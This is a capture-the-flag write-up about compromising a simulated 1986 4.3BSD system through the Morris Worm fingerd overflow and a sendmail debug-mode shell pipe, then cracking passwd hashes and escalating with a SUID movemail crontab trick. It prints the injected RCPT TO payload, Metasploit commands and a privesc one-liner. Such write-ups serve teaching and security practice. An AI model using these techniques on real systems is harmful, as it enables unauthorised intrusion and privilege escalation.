Snow Den

Metasploit CTF - 2 of Diamonds

Published December 4, 2018


I had participated in the Metasploit Community CTF this past weekend (Nov 30 - Dec 3, 2018) representing DeadPixelSec. During it, we had two targets to test against: An Ubuntu machine and a Windows machine. In total there were 15 flags that took the form of playing cards, but there was one flag that I took particular interest in: 2 of Diamonds, which took us back all the way to 1986.

This writeup will be a little different than my usual ones. Due to the fact that I no longer have access to the machines now that the CTF is over, some of the steps taken may not be entirely accurate and I do not have exact commands and their responses. With that being said, it is written to the best of my memory and should be more or less accurate nonetheless.

The Services

Two of the ports that were reported open were 25 and 79, which are smtp and finger respectively. A simple probe to the smtp port showed that it was running SendMail, a mail software that was wildly popular a few decades ago. This particular version happens to be SendMail 5.51, which seems suspiciously low of a version.. and in fact, this version of SendMail looks old enough to be vulnerable to a debug mode exploit, the same one used in the infamous Morris Worm! That worm also happened to use a fingerd exploit to spread to new systems, and curiously enough, as of November 6, 2018 the Metasploit team has released not just one, but two new Metasploit modules targeting exactly this. Isn't that convenient?

The Exploits


With the SendMail exploit, after setting debug mode with a DEBUG command, the RCPT TO field is set to pipe its data through a shell (RCPT TO: <"| sed '1,/^$/d' | sh; exit 0">). This means that the email contents itself ends up getting processed in a shell! In the original worm, the shell script would create C source files on the victim, compile it with cc, and execute it. This compiled C program would in turn download object files from the previous host, figure out if it was currently in a SunOS or a BSD environment, and link the appropriate object files that it previously downloaded to create a file /usr/tmp/sh &em; a new copy of the worm, cleverly disguised as a normal-looking Bourne shell.


The fingerd exploit, on the other hand, is a classic buffer overflow. The daemon takes in data and places it into a 512-byte buffer, and some time after this buffer is the actual command to be executed, /usr/ucb/finger. The Morris Worm exploited this fact by overflowing the buffer enough to overwrite the command to be /bin/sh, causing any data sent to the fingerd service to go instead to sh! After the worm would get in, it would do the same steps as with the SendMail exploit to compile a copy of itself.

The Metasploit module does this a little differently. Instead of overwriting the command that data gets piped into, it includes an executable payload that is sent within the buffer with a NOP slide, clears the stack frame, and sets the return address to execute this payload.

Exploitation and System Enumeration

With these modules, getting in is as simple as pointing and shooting. Feels a little cheap for my tastes, but it'll make things a little easier on us. We'll load the fingerd module up, set our target, and fire away. As a bit of a side note, isn't that such a satisfying target IP?

met> use exploit/bsd/finger/morris_fingerd_bof
met> set rhost
met> set lhost
met> show options
met> exploit

2od$ PATH=/bin:/usr/bin:/usr/ucb:/etc; export PATH
2od$ id
sh: id: command not found
2od$ who am i

Once we're in, we can see that we're running as the user nobody and the command id is not available to us. This missing command might seem a bit odd at first, but remember that we're dealing with the Morris Worm! This is a VAX system, 4.3BSD to be exact, which puts us in the mid to late 80's. There's a lot of things that are going to seem missing from this system, but that just means that we'll have to adapt to that era.

Right off the bat, we can see in /etc/passwd that there are a lot of users on this system. About 32 of them listed, 25 of which are actual ordinary users.

2od$ cat /etc/passwd
root:*:0:10:Charlie &:/:/bin/csh
toor:*:0:10:Bourne-again Superuser:/:
daemon:*:1:31:The devil himself:/:
operator::2:28:System &:/usr/guest/operator:/bin/csh
uucp::66:1:UNIX-to-UNIX Copy:/usr/spool/uucppublic:/usr/lib/uucp/uucico
nobody:*:32767:9999:Unprivileged user:/nonexistent:/dev/null
notes:*:5:31:Notesfile maintainer:/usr/spool/notes:/bin/csh
karels:QOrZFUGpxDUlo:6:10:Mike &:/usr/guest/karels:/bin/csh
sam:Yd6H6R7ejeIP2:7:10:& Leffler:/usr/guest/sam:/bin/csh
wnj:ZDjXDBwXle2gc:8:10:Bill Joy:/usr/guest/wnj:/bin/csh
mckusick:6l7zMyp8dZLZU:201:10:Kirk &:/usr/guest/mckusick:/bin/csh
dmr:AiInt5qKdjmHs:10:31:Dennis Ritchie:/usr/guest/dmr:
ken:sq5UDrPlKj1nA:11:31:& Thompson:/usr/guest/ken:
shannon:NYqgD2jjeuozk:12:31:Bill &:/usr/guest/shannon:/bin/csh
peter:y5G5mbEX4HhOY:13:31:peter b. kessler:/usr/guest/peter:/bin/csh
kre:vpyVBWM3ARc0.:14:31:Robert Elz:/usr/guest/kre:/bin/csh
ingres:64c19dZOElp9I:267:74:& Group:/usr/ingres:/bin/csh
ralph:s.EZm/wQTqbro:16:31:& Campbell:/usr/guest/ralph:/bin/csh
linton:1/WWIjn5Sd8qM:19:31:Mark &:/usr/guest/linton:/bin/csh
sklower:p0taJy06Qye1g:20:31:Keith &:/usr/guest/sklower:/bin/csh
eric:PcEfNNJN.UHpM:22:31:& Allman:/usr/guest/eric:/usr/new/csh
rrh:lj1vXnxTAPnDc:23:31:Robert R. Henry:/usr/guest/rrh:/bin/csh
arnold:5vTJh54EqjZsU:25:31:Kenneth C R C &:/usr/guest/arnold:/bin/csh
jkf:G6cip/I8C792U:26:31:John Foderaro:/usr/guest/jkf:/bin/csh
ghg:FA/4weg1/wy2c:32:31:George Goble:/usr/guest/ghg:/bin/csh
bloom:n0QtVD80F82MM:33:10:Jim &:/usr/guest/bloom:/bin/csh
miriam:hnZ1ZK5H2qapE:36:10:& Amos:/usr/guest/miriam:/bin/csh
kjd:ogYPQZGnihezk:37:10:Kevin Dunlap:/usr/guest/kjd:/bin/csh
rwh:LReNSwE9gQF7w:38:10:Robert W. Henry:/usr/guest/rwh:/bin/csh
tef:OciUqGHcs9YOw:39:31:Thomas Ferrin:/usr/guest/tef:/bin/csh
van:STpwu/Ggmk78A:40:31:& Jacobson:/usr/guest/van:/bin/csh
rich:uxxJaRZvgyiPg:41:31:& Hyde:/usr/guest/rich:/bin/csh
jim:.6s.pzMqjyMrU:42:10:& McKie:/usr/guest/jim:/bin/csh
donn:5cJ5uHclmVJKA:43:31:& Seeley:/usr/guest/donn:/bin/csh
falcon:.MTZpW8TC8tqs:32766:31:Prof. Steven &:/usr/games:/usr/games/wargames
hunter:IE4EHKRqf6Wvo:32765:31:Hunter Hedges:/usr/guest/hunter:/bin/sh

We also find a readable email, and by following a trail of recent last-modified timestamps (via ls -l), we also find an inaccessible user directory /usr/guest/hunter (the rest of the user directories are all readable), a root-owned DAT file, and that a root-owned game named adventure was modified very recently.

2od$ cat /usr/spool/mail/hunter
From cliff Wed Sep 10 12:34:42 1986
Received: by 2-of-diamonds (5.51/5.17)
        id AA00579; Wed, 10 Sep 86 12:34:42 PDT
Date: Wed, 10 Sep 86 12:34:42 PDT
From: cliff (Cliff Stoll)
Message-Id: <8610210434.AA00579@2-of-diamonds>
To: mcnatt@
Subject: What do you know about the nesting habits of cuckoos?
Status: RO

He went looking for your Gnu-Emacs move-mail file.

This is all too telling. The user hunter, the mention of Gnu-Emacs move-mail, and then Cliff Stoll to tie it all together. Cliff Stoll wrote a book by the name of "The Cuckoo's Egg", which detailed his experience dealing with a hacker named Hunter who was wreaking havoc through their networks. That book even contains an epilogue recounting how he helped to deal with the Morris Worm!

Gnu-Emacs move-mail

As Stoll recounts, Hunter was a hacker who exploited a bug in the Gnu-Emacs move-mail utility, which was installed as SUID root, to gain a root shell by overwriting atrun with his own malicious copy. Here, we can do similarly by adding an atjob or a cronjob, but we'll actually be able to get by simply using it to copy files around. The only problem we have is that this move-mail program is nowhere to be seen. We can take a guess that this program currently lives in Hunter's directory, so now we just have to gain access to it.

If we look back to the passwdfile, we see that there are hashes included. And this makes sense; back then, the passwd file wasn't closely guarded and shadow wasn't conceived yet. After all, it would have taken much more computational power to crack those hashes. Even better for us, DES hashes can only take a maximum of 8 characters. On a modern system, it would only take a few hours to brute force 8-character alphabetical passwords, but we actually only need 7 characters to get to Hunter's.

Once we have that, we can su - hunter to get a shell as him. Inside his home directory is exactly what we were hoping for, the infamous root-SUID movemail. This copy of move-mail actually empties the source file and makes a root-owned copy of it at the destination but with full world-read access, but refuses to overwrite any files that already exist. Now we can use it to move things around to read them, copy them, and inspect them as we wish. Inspecting the DAT file leaves us with no real information. The file just seems like a bunch of garbage with no signature, which leads us to believe that it may actually be encrypted.

Inspecting the game is another story; it's indeed been modified, and a strings dump of the file (back on Kali) contains the word "flag" &em; not something that was included in the original game. Does this mean we have to actually play it to get the flag? Absolutely.

2od$ movemail /usr/games/adventure game
2od$ cp game adventure
2od$ chmod +x adventure
2od$ ./adventure

We're greeted with Colossal Cave Adventure, one of the original text adventures which was released about a year before Zork. To keep this brief, after playing through the game for a bit we discover that by defeating a dragon in the Secret N/E Canyon, we can get the flag item! Capturing it by bringing it back to our home gives us the following message:

Congratulations! You have completed the 2 of Diamonds challenge.
The crypt(1) password for 2_of_diamonds.dat is `wyvern'.

A large cloud of green smoke appears in front of you.  It clears away
to reveal a tall wizard, clothed in grey.  He fixes you with a steely
glare and declares, "this adventure has lasted too long."  With that
he makes a single pass over you with his hands, and everything around
You fades away into a grey nothingness.

The DAT file was encrypted after all, so now that we have the password we can decrypt it. We'll have to do it on the VAX machine though, since it has the utility necessary to do so. Also, since we're in a Meta shell, even though our shell seems basic, we still have special commands that we can use including download to download files onto our own system.

2od$ crypt wyvern < 2_of_diamonds.dat | pr > 2_of_diamonds.png
2od$ download 2_of_diamonds.png 2_of_diamonds.png

2 of Diamonds Card

Additional Thoughts

I actually had an interesting time attempting to download files from this system. Since I'm so unfamiliar with it being so old, I wasn't sure what tools or utilities were installed that I could utilise for such a process. I even tried writing and compiling my own tools in an effort to get it going, but they would fail to compile for one reason or the other. I also tried using cat to pipe a file into a Telnet session aimed at my own system, but since it was binary it kept causing Telnet to mess up. Even if I did send normal ASCII characters though, it seemed that cat would continue to send junk bytes through indefinitely after EOF. Eventually I found that od exists on the system, so I used that to convert it to hex. I then wrote up a Python script that would catch the connection, look for a special EOT string that I defined, parse the file, trim extra data out, flip the endianness back to normal, and then convert it back to binary. After that, it was only a matter of cating the file with a file containing the EOT string and piping it to my system via Telnet.

Soon after that, I finally found out that even basic shells made through Metasploit have commands that can simply be typed in. Typing help, for instance, prints out all of the commands that I could have used.

Meta Shell Commands

As an alternative to this, uuencode was available on the system and that was apparently the intended method of transfer. One person that I spoke to even did little more than copy the converted string out of their terminal, which is a pretty hilarious solution to a problem that had me stuck for way too long.

There were some really neat things that went behind this challenge, and it would be a shame to not include them here. These are chat messages taken from wvu in the Metasploit Slack, after the competition was all wrapped up:

Since the challenge is based on the Morris worm (1988) for entry and The Cuckoo's Egg (1986) for post-exploitation, the idea is to navigate a foreign (and ancient to us) system as the hacker in the book did
And yes, it's a real 4.3BSD system from 1986, simulated in SIMH, run inside Docker, artifacts scrubbed from rq.dsk.gz so anyone pwning Docker wouldn't be able to solve the challenge with gunzip -c rq.dsk.gz | strings ;)
Some Easter eggs: the hacker in The Cuckoo's Egg was a stranger to BSD systems, having come from AT&T UNIX
I left some of his commands from the book in ~hunter/.history
He's also the only user with the shell /bin/sh
At Berkeley at the time, most folks used csh
hunter's mail spool was also an Easter egg and a hint
Normally [the email's] mode is 700, but it was world-readable on purpose
If you read the book, you'd note that the real Hunter "Hedges" changed all his passwords to one pattern: &lt;target&gt;hack
I jumped the gun a bit and wrote an exploit for [movemail] and published it halfway through Saturday, hoping some folks would notice it, but I was confident those who were familiar with Unix privesc 101 would be able to get root
And movemail does a couple things: ensures a usable umask, doesn't operate on an existing file, and it truncates the input file
An easy privesc is (umask 0 && /usr/guest/hunter/movemail /dev/null /usr/lib/crontab.local)
It's now a module at []
1. Use a subshell so you don't change the original umask
2. Set the umask to make the output file world-writable
3. Use /dev/null because truncation won't hurt it
4. Target the auxiliary crontab at /usr/lib/crontab.local (doesn't exist by default)
Targeting atrun(8) would have been another option. Specifically job files
The hacker in the book targeted the binary - wouldn't recommend :-)
An Easter egg the original BSD developers left is in the MOTD
4.3BSD is actually WarGames-themed!
So it was fitting that the final level was a game
(Did you see the falcon [sic] user in /etc/passwd? :)
Another Easter egg here is that Bob Morris invented crypt(1), and he had a prominent role in The Cuckoo's Egg


We exploited a fingerd vulnerability that was utilised by the infamous Morris Worm to get into a 4.3BSD system, then followed in the footsteps of Hunter Hedges, and finished off our journey by traveling through a mystical land to fight a dragon. This has been quite a trip.

Thank you so much to wvu and the rest of the Metasploit Community CTF team for making such a great competition! I'm looking forward to next year's CTF.


The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage
Morris Worm - sendmail Debug Mode Shell Escape (Metasploit)
Morris Worm - fingerd Stack Buffer Overflow (Metasploit)